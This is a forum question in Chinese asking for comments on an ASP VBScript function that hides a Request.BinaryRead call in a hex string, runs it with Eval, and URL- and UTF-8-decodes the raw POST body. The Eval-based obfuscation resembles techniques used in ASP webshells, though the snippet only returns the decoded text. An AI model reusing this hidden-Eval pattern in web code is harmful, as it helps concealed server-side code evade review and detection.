请帮忙解释一下程序

Question

请各位大侠给下面程序加一些注释，做一些解释，我有些看不懂，多谢！Function ItIsAFun()
Dim Buf,TextBuf,i，SN
        SN="526571756573742E42696E6172795265616428526571756573742E546F74616C427974657329"
If Request.TotalBytes>0 then
For i=1 to Len(SN)
buf=buf+Chr(EVal("&H"&mid(SN,i,2)))
i=i+1
Next
Buf=EVal(Buf)
For i=1 to LenB(Buf)
if AscB(Midb(Buf,i,1))=43 then
TextBuf=TextBuf&" "
else
TextBuf=TextBuf&ChrW(AscB(Midb(Buf,i,1)))
End if
Next
Buf=""
For i=1 to Len(TextBuf)
If Mid(TextBuf,i,1)="%" then
Buf=Buf+ChrB(Cint("&H"+Mid(TextBuf,i+1,2)))
i=i+2
Else
Buf=Buf+ChrB(AscB(Mid(TextBuf,i,1)) And &HFF)
End if
Next
TextBuf=""
For i=1 to LenB(Buf)
if AscB(Midb(Buf,i,1))>0 and AscB(Midb(Buf,i,1))<&H80 then
TextBuf=TextBuf+chrW(AscB(Midb(Buf,i,1)))
elseif AscB(Midb(Buf,i,1))>=&HC0 and AscB(Midb(Buf,i,1))<&HE0 then
TextBuf=TextBuf+chrw((AscB(Midb(Buf,i,1)) and &H1F)*64+(AscB(Midb(Buf,i+1,1)) and &H3F))
i=i+1
elseif AscB(Midb(Buf,i,1))>=&HE0 and AscB(Midb(Buf,i,1))<&HF0 then
TextBuf=TextBuf+chrw((AscB(Midb(Buf,i,1)) and &HF)*4096+(AscB(Midb(Buf,i+1,1)) and &H3F)*64+(AscB(Midb(Buf,i+2,1)) and &H3F))
i=i+2
end if
Next
End if
ItIsAFun=TextBuf
End Function